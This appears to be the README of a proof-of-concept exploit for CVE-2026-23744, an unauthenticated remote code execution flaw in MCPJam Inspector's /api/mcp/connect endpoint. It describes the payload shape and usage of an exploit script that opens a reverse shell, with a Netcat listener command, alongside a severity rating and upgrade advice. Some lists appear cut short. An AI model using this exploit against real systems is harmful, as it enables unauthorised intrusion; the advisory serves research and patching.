CVE-2026-23744 is a critical unauthenticated Remote Code Exection (RCE) vulnerability affecting MCPJam Inspector ≤ 1.4.2. The issue arises because the Inspector exposes a management endpoint (/api/mcp/connect) that accepts user-controlled MCP server configuration and can trigger process execution without adequate authentication or security restrictions. Affected versions listen on 0.0.0.0 (all interfaces) by default instead of localhost, making remote exploitation possible if the service is network-accessible.
The vulnerability is associated with the following endpoint:
POST /api/mcp/connect
The endpoint accepts a JSON object containing a server configuration, like:
{
"serverConfig": {
"command": "<executable>",
"args": ["<arguments>"],
"env": {}
},
"serverId": "<identifier>"
}
This supplied configuration is then used by MCPJam Inspector to create and manage a new MCP server process. As the endpoint lacks sufficient authentication and security controls, an attacker can submit arbitrary process definitions that are executed by the Inspector service.
Fundamentally, the vulnerability is a Missing Authentication for Critical Function (CWE-306) issue in which the application exposes functionality intended for trusted local users and makes it accessible over the network without adequate security checks.
The vulnerability arises from two design flaws:
0.0.0.0 by default.The resulting attack path can be visualized as follows:
Attacker → /api/mcp/connect → Process Creation → Operating System
As the application directly interfaces with the operating system process creation, successful exploitation can result in arbitrary command execution within the security context of the MCPJam Inspector service.
python3 exploit.py -t <target_url> -tport <target_port> -lhost <local_ip> -lport <port>
-t (or) --target: Target URL or target IP address.-tport (or) --target-port: Target port to connect to, in most cases it is 6274 for MCPJam Inspector. Do not use this argument if MCPJam Inspector is hosted somewhere else, like in a subdomain or a virtual host. Instead use the -t argument to specify the subdomain or virtual host.-lhost (or) --local-host: Public IP address for the reverse shell to connect back.-lport (or) --local-port: Port to be used for the reverse shell.python3 exploit.py -t <target_url> -tport <target_port> -lhost <local_ip> -lport <port> -c '<command>'
-c (or) --command: Command to be executed on the target.Before using this program, you must first start a listener on your local machine using Netcat.
To do that, use the following command:
nc -lvnp <port>
Then, run the above command to get a reverse shell on the target.
Successful exploitation may allow an attacker to:
The vulnerability has been assigned a CVSS v3.1 score of 9.8 (Critical) due to its network-based attack vector, lack of authentication, absence of user interaction, and high impact on confidentiality, integrity, and availability.
Immediately upgrade to MCPJam Inspector 1.4.3 or later. Addditional defensive measures include:
This PoC is solely for educational, defensive security research, and authorized security testing. It should only be used against systems with explicit permission. Unauthorized use against third-party systems may violate applicable laws and regulations. The owner of this repository is not reponsible for any damages caused by the use of this program.